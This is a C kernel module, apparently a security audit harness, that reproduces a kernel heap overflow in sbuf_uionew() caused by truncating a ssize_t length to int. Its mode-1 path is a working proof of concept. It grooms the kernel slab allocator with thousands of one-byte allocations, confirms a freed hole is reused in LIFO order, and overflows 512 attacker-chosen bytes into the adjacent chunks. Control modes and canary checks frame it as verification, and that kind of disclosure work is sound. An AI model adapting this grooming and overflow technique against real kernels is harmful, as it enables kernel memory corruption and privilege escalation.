/*
 * kern_df2553.c -- DF-2553 verification harness (audit rig, NOT upstream code).
 *
 * Exposes the stock sbuf_uionew() KPI (sys/kern/subr_sbuf.c, verbatim,
 * compiled into the running kernel) through a root-only sysctl so the
 * ssize_t->int length truncation + full-resid uiomove() mismatch can be
 * demonstrated on a live kernel without any in-tree caller (there are
 * none today; verified by grep of the whole tree).
 *
 * Trigger (root only):
 *   struct df2553_req (40 bytes) written to kern.df2553_trigger
 *
 * Modes:
 *   0  control: uio_resid = 256, single committed iov.  Expect sbuf_uionew
 *      success, s_size == 257, data intact, ZERO canary corruption.
 *   1  overflow: uio_resid = 0x100000000 (iov0 = 512 committed attacker
 *      pattern bytes, iov1 = 0x100000000-512 at a PROT_NONE page).  Expect:
 *      sbuf_new() allocates a 1-byte-class chunk (int truncation of
 *      resid+1), uiomove() copies all 512 attacker bytes into it, then
 *      faults on iov1 -> EFAULT; the 512 bytes have smashed the adjacent
 *      sprayed canaries in the same 8-byte kmalloc zone.
 *   2  negative control: faithful kmalloc(0x100000001) fails (cannot
 *      allocate 4GiB+1 on this guest) while the truncated (int)1 kmalloc
 *      succeeds -- proving the mode-1 allocation could only have succeeded
 *      through truncation.
 *
 * Heap grooming (mode 1) uses the per-CPU slab allocator semantics of
 * kern_slaballoc.c: kmalloc(1) comes from the 8-byte chunk zone
 * (ZoneAry[0]); kfree() pushes chunks LIFO onto z_LChunks of the owning
 * zone; kmalloc() pops from the active zone's z_LChunks head.  We spray
 * 8192 one-byte canaries (0xA5 marker), free one canary near the tail of
 * the current zone, verify with a probe alloc/free that the very next
 * kmalloc(1) returns exactly that chunk, then call sbuf_uionew() -- the
 * only 8-byte-class allocation it performs (SBMALLOC(1)) pops our hole
 * and the copyin() of the 512 attacker bytes lands on it and everything
 * after it.
 */

#include <sys/param.h>
#include <sys/errno.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/sbuf.h>
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <sys/uio.h>
#include <sys/globaldata.h>

MALLOC_DEFINE(M_DF2553, "df2553", "DF-2553 verification rig");

struct df2553_req {
	uint64_t	base0;		/* user mapping: committed pattern bytes */
	uint64_t	len0;
	uint64_t	base1;		/* user mapping: faults on first touch */
	uint64_t	len1;
	uint32_t	mode;
	uint32_t	pad;
};

#define DF2553_PAT	"DF2553PWN"
#define DF2553_PATLEN	9
#define DF2553_MARK	0xA5
#define DF2553_NCAN	8192
#define DF2553_SMASH	512		/* bytes copied past the 1-byte alloc */
#define DF2553_ZMASK	((uintptr_t)0x1FFFF)	/* 128KB slab zones on this rig */

static uint8_t **df2553_can;

static int
df2553_spray(void)
{
	int i;

	if (df2553_can == NULL) {
		df2553_can = kmalloc(DF2553_NCAN * sizeof(uint8_t *),
				     M_DF2553, M_WAITOK | M_ZERO);
		if (df2553_can == NULL)
			return (ENOMEM);
	}
	for (i = 0; i < DF2553_NCAN; ++i) {
		if (df2553_can[i] == NULL) {
			df2553_can[i] = kmalloc(1, M_DF2553, M_WAITOK);
			if (df2553_can[i] == NULL)
				return (ENOMEM);
		}
		*df2553_can[i] = DF2553_MARK;
	}
	return (0);
}

static void
df2553_teardown(void)
{
	int i;

	if (df2553_can == NULL)
		return;
	for (i = 0; i < DF2553_NCAN; ++i) {
		if (df2553_can[i] != NULL)
			kfree(df2553_can[i], M_DF2553);
	}
	kfree(df2553_can, M_DF2553);
	df2553_can = NULL;
}

/*
 * Scan every canary; report any whose marker byte was clobbered.
 * For canaries inside the smash window behind the hole, additionally
 * verify all 8 bytes equal the user pattern at the correct ADDRESS-
 * derived cyclic offset -- this proves the corrupted bytes are a
 * linear, ordered copy of the userspace buffer (addr math, not index
 * math: the zone UIndex wraps so index order != address order).
 */
static int
df2553_scan(void *holep, int verbose)
{
	const uint8_t *pat = (const uint8_t *)DF2553_PAT;
	int i, k, ncorrupt = 0, first = -1, last = -1, nmatch = 0;

	for (i = 0; i < DF2553_NCAN; ++i) {
		if (df2553_can[i] == NULL)
			continue;
		if (*df2553_can[i] != DF2553_MARK) {
			uint8_t *p = df2553_can[i];
			size_t off = (size_t)((uintptr_t)p - (uintptr_t)holep);

			if (first < 0)
				first = i;
			last = i;
			++ncorrupt;
			if (verbose && ncorrupt <= 6) {
				kprintf("DF2553[scan]: canary %d @%p = "
				    "%02x %02x %02x %02x %02x %02x %02x %02x"
				    "  (byte0 expected %02x per user pattern"
				    " at +%zu past the 1-byte alloc)\n",
				    i, p, p[0], p[1], p[2], p[3],
				    p[4], p[5], p[6], p[7],
				    pat[off % DF2553_PATLEN], off);
			}
			if (holep != NULL && off > 0 && off <= DF2553_SMASH) {
				int ok = 1;

				for (k = 0; k < 8; ++k) {
					if (p[k] != pat[(off + k) %
							DF2553_PATLEN])
						ok = 0;
				}
				if (ok)
					++nmatch;
			}
		}
	}
	kprintf("DF2553[scan]: corrupted=%d first=%d last=%d "
		"full-8-byte-pattern-match=%d\n",
		ncorrupt, first, last, nmatch);
	return (ncorrupt);
}

/*
 * mode 0: control -- small resid, everything must work and nothing must
 * be corrupted.
 */
static void
df2553_mode0(const struct df2553_req *r)
{
	struct iovec iov;
	struct uio uio;
	struct sbuf *s;
	int err;
	uint8_t *d;

	kprintf("DF2553[mode0]: control uio_resid=%llu (0x%llx)\n",
	    (unsigned long long)r->len0, (unsigned long long)r->len0);

	if (df2553_spray() != 0) {
		kprintf("DF2553[mode0]: spray FAILED\n");
		return;
	}

	iov.iov_base = (void *)(uintptr_t)r->base0;
	iov.iov_len = r->len0;
	bzero(&uio, sizeof(uio));
	uio.uio_iov = &iov;
	uio.uio_iovcnt = 1;
	uio.uio_offset = 0;
	uio.uio_resid = r->len0;
	uio.uio_segflg = UIO_USERSPACE;
	uio.uio_rw = UIO_WRITE;
	uio.uio_td = curthread;

	s = sbuf_uionew(NULL, &uio, &err);
	if (s == NULL) {
		kprintf("DF2553[mode0]: sbuf_uionew FAILED err=%d\n", err);
	} else {
		d = (uint8_t *)s->s_buf;
		kprintf("DF2553[mode0]: OK s=%p err=%d s_size=%lld s_len=%lld "
			"data[0..7]=%02x %02x %02x %02x %02x %02x %02x %02x\n",
		    s, err, (long long)s->s_size, (long long)s->s_len,
		    d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7]);
		sbuf_delete(s);
	}
	kprintf("DF2553[mode0]: uio_resid after=%llu (fully drained)\n",
	    (unsigned long long)uio.uio_resid);
	df2553_scan(NULL, 1);
	df2553_teardown();
}

/*
 * mode 2: allocation-boundary negative control.
 */
static void
df2553_mode2(void)
{
	void *p;

	p = kmalloc(0x100000001UL, M_DF2553, M_NOWAIT | M_NULLOK);
	kprintf("DF2553[mode2]: faithful kmalloc(0x100000001) = %p (%s)\n",
	    p, p != NULL ? "UNEXPECTED SUCCESS" :
	    "NULL: a faithful 4GiB+1 allocation is impossible here");
	if (p != NULL)
		kfree(p, M_DF2553);

	p = kmalloc((size_t)(int)0x100000001UL, M_DF2553, M_NOWAIT | M_NULLOK);
	kprintf("DF2553[mode2]: truncated (int)(0x100000001)=1 kmalloc = %p "
		"usable=%llu\n", p,
		p != NULL ?
		(unsigned long long)kmalloc_usable_size(p) : 0ULL);
	if (p != NULL)
		kfree(p, M_DF2553);
}

/*
 * mode 1: the primitive.
 */
static void
df2553_mode1(const struct df2553_req *r)
{
	struct iovec iov[2];
	struct uio uio;
	struct sbuf *s;
	uint8_t *holep = NULL;
	void *probe;
	int err, hole = -1, h;

	kprintf("DF2553[mode1]: uio_resid=0x100000000 "
		"(iov0: 0x%llx committed attacker bytes + "
		"iov1: 0x%llx at PROT_NONE page)\n",
		(unsigned long long)r->len0, (unsigned long long)r->len1);
	kprintf("DF2553[mode1]: sbuf_new length param = (int)(resid+1) = %d; "
		"uiomove n = resid = %llu  <-- mismatch\n",
		(int)((ssize_t)(r->len0 + r->len1) + 1),
		(unsigned long long)(r->len0 + r->len1));

	if (r->len0 != DF2553_SMASH) {
		kprintf("DF2553[mode1]: rig expects len0=%d\n", DF2553_SMASH);
		return;
	}
	if (df2553_spray() != 0) {
		kprintf("DF2553[mode1]: spray FAILED\n");
		return;
	}

	/*
	 * Build the uio BEFORE touching the allocator further.
	 */
	iov[0].iov_base = (void *)(uintptr_t)r->base0;
	iov[0].iov_len = r->len0;
	iov[1].iov_base = (void *)(uintptr_t)r->base1;
	iov[1].iov_len = r->len1;
	bzero(&uio, sizeof(uio));
	uio.uio_iov = iov;
	uio.uio_iovcnt = 2;
	uio.uio_offset = 0;
	uio.uio_resid = (ssize_t)(r->len0 + r->len1);	/* 0x100000000 */
	uio.uio_segflg = UIO_USERSPACE;
	uio.uio_rw = UIO_WRITE;
	uio.uio_td = curthread;

	/*
	 * Pick the hole: the LOWEST-ADDRESS canary in the frontier zone
	 * (the 128KB slab zone holding the last-sprayed canary -- that zone
	 * is the per-CPU allocator's active zone, ZoneAry[0] TAILQ_LAST, so
	 * the freed chunk becomes its z_LChunks head).  Because the ring
	 * fill is address-contiguous, the 512 bytes above the lowest
	 * canary are all allocated canaries of the same zone -- the smash
	 * window then contains only live canaries and no freelist chunks.
	 */
	{
		uintptr_t zlast = (uintptr_t)df2553_can[DF2553_NCAN - 1] &
		    ~DF2553_ZMASK;
		int cand = -1, i, above = 0;

		for (i = 0; i < DF2553_NCAN; ++i) {
			uintptr_t a;

			if (df2553_can[i] == NULL)
				continue;
			a = (uintptr_t)df2553_can[i] & ~DF2553_ZMASK;
			if (a != zlast)
				continue;
			if (cand < 0 ||
			    (uintptr_t)df2553_can[i] <
			    (uintptr_t)df2553_can[cand])
				cand = i;
		}
		if (cand < 0) {
			kprintf("DF2553[mode1]: no canary in frontier zone?!\n");
			df2553_teardown();
			return;
		}
		for (i = 0; i < DF2553_NCAN; ++i) {
			uintptr_t a;

			if (df2553_can[i] == NULL || i == cand)
				continue;
			a = (uintptr_t)df2553_can[i];
			if (a > (uintptr_t)df2553_can[cand] &&
			    a <= (uintptr_t)df2553_can[cand] + DF2553_SMASH)
				++above;
		}
		if (above < DF2553_SMASH / 8 - 1) {
			kprintf("DF2553[mode1]: only %d canaries above "
				"candidate; aborting\n", above);
			df2553_teardown();
			return;
		}
		h = cand;
	}

	/*
	 * Free the hole, verify with a probe that the allocator hands the
	 * very same chunk back to the next kmalloc(1) (LIFO), then put it
	 * back.  SBMALLOC(1) inside sbuf_uionew() will pop it again; the
	 * only intervening allocation is sizeof(struct sbuf) (64-byte
	 * class), a different zone.
	 */
	/*
	 * Free the hole, verify with a probe that the allocator hands the
	 * very same chunk back to the next kmalloc(1) (LIFO), then put it
	 * back.  SBMALLOC(1) inside sbuf_uionew() will pop it again; the
	 * only intervening allocation is sizeof(struct sbuf) (64-byte
	 * class), a different zone.
	 *
	 * Single shot: if the probe comes back with a different chunk the
	 * allocator had concurrent 8-byte-class traffic; abort (rerun) --
	 * retrying would leave freed chunks inside the smash window and
	 * corrupt the zone freelist when the overflow lands.
	 */
	{
		uint8_t *victim = df2553_can[h];

		kfree(victim, M_DF2553);
		df2553_can[h] = NULL;
		probe = kmalloc(1, M_DF2553, M_WAITOK);
		if (probe == (void *)victim) {
			kfree(probe, M_DF2553);
			hole = h;
			holep = victim;
		} else {
			kfree(probe, M_DF2553);
		}
	}
	if (hole < 0) {
		kprintf("DF2553[mode1]: hole LIFO determinism FAILED "
			"(allocator noise); no overflow attempted -- rerun\n");
		df2553_teardown();
		return;
	}
	kprintf("DF2553[mode1]: hole = canary idx %d @%p "
		"(verified: next kmalloc(1) returns exactly this chunk)\n",
		hole, holep);

	/*
	 * The call under test.
	 */
	s = sbuf_uionew(NULL, &uio, &err);
	kprintf("DF2553[mode1]: sbuf_uionew returned s=%p *error=%d%s\n",
		s, err, err == EFAULT ? " (EFAULT: uiomove hit the "
		"PROT_NONE iov1 AFTER copying iov0)" : " (unexpected)");
	kprintf("DF2553[mode1]: uio after: resid=0x%llx iov0.len=%llu "
		"iov1.len=%llu  => %llu attacker bytes were copied into "
		"s_buf before the fault\n",
		(unsigned long long)uio.uio_resid,
		(unsigned long long)iov[0].iov_len,
		(unsigned long long)iov[1].iov_len,
		(unsigned long long)(r->len0 - iov[0].iov_len));

	/*
	 * The evidence: canaries behind the hole now contain user bytes.
	 */
	if (df2553_scan(holep, 1) > 0)
		kprintf("DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: "
			"attacker bytes past a 1-byte kmalloc ***\n");
	else
		kprintf("DF2553[mode1]: no corruption observed\n");
	df2553_teardown();
}

static int
df2553_sysctl(SYSCTL_HANDLER_ARGS)
{
	struct df2553_req r;
	int error;

	if (req->newptr == NULL)
		return (EINVAL);
	error = SYSCTL_IN(req, &r, sizeof(r));
	if (error)
		return (error);

	kprintf("DF2553: === trigger mode=%u ===\n", r.mode);
	switch (r.mode) {
	case 0:
		df2553_mode0(&r);
		break;
	case 1:
		df2553_mode1(&r);
		break;
	case 2:
		df2553_mode2();
		break;
	default:
		return (EINVAL);
	}
	kprintf("DF2553: === mode=%u done ===\n", r.mode);
	return (0);
}

SYSCTL_PROC(_kern, OID_AUTO, df2553_trigger, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df2553_sysctl, "I", "DF-2553 sbuf_uionew verification trigger");
